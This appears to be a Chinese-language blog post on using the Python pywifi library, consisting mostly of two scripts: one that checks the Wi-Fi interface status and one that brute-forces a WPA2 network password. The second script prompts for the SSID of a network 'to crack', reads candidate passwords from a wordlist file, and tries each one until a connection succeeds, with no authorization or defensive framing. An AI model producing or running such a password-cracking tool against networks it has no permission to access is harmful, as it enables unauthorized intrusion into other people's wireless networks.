pywifi的简单使用和测试破解方法

import pywifi
from pywifi import const

def gic():
    wifi = pywifi.PyWiFi()
    ifaces = wifi.interfaces()[0]
    print(ifaces.status())
    print(const.IFACE_CONNECTED)  #已连接
    print(const.IFACE_CONNECTING) #连接中
    print(const.IFACE_DISCONNECTED)  #未连接
    print(const.IFACE_INACTIVE)  #空闲
    print(const.IFACE_SCANNING)  #扫描
    if ifaces.status() == const.IFACE_CONNECTED:
        print("已连接")
    else:
        print("未连接")
gic()

这才是正解!!!!!!!!!!!!!!!!!!!!!!!

 

密码本可以自行创建。

import pywifi
from pywifi import const
import time
# 导入模块
# 抓取网卡接口
# 断开所有wifi
# 读取密码本
# 测试连接
# 设置睡眠时间
 
def gic(passwd):
    wifi = pywifi.PyWiFi()
    iface=wifi.interfaces()[0]
    # print(iface.name())
    iface.disconnect()
    time.sleep(1)
    if(iface.status()==const.IFACE_CONNECTED):
        print("已连接")
    else:
        print("未连接")
 
    # iface.scan()#扫描wifi
    # result=iface.scan_results()
    # for i in result:
    #     print(i.ssid)#打印wifi名字
    # time.sleep(200)

    profile = pywifi.Profile()
    # wifi名称
    profile.ssid = SSID
    # 网卡开放
    profile.auth = const.AUTH_ALG_OPEN
    # 加密算法
    profile.akm.append(const.AKM_TYPE_WPA2PSK)
    # 加密单元
    profile.cipher = const.CIPHER_TYPE_CCMP
    # 密码
    profile.key = passwd
    #删除之前的连接文件
    iface.remove_all_network_profiles()
    newprofile=iface.add_network_profile(profile)
    iface.connect(newprofile)
    time.sleep(1)
    if(iface.status()==const.IFACE_CONNECTED):
        return True
    else:
        return False
# 读取密码
def readpsd():
    print("开始破解")
    path="./pass.txt"
    file=open(path,"r")
    while(True):
        # 捕获读取文件出现的错误时的异常
        try:
            passStr=file.readline()#读取一行
            bool=gic(passStr)
            if bool:
                print("密码正确",passStr)
                print('连接成功')
                break;
            else:
                print("密码错误,继续测试",passStr)
        except:
            continue
SSID = input('请输入要破解的wifi名称:')
readpsd()

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章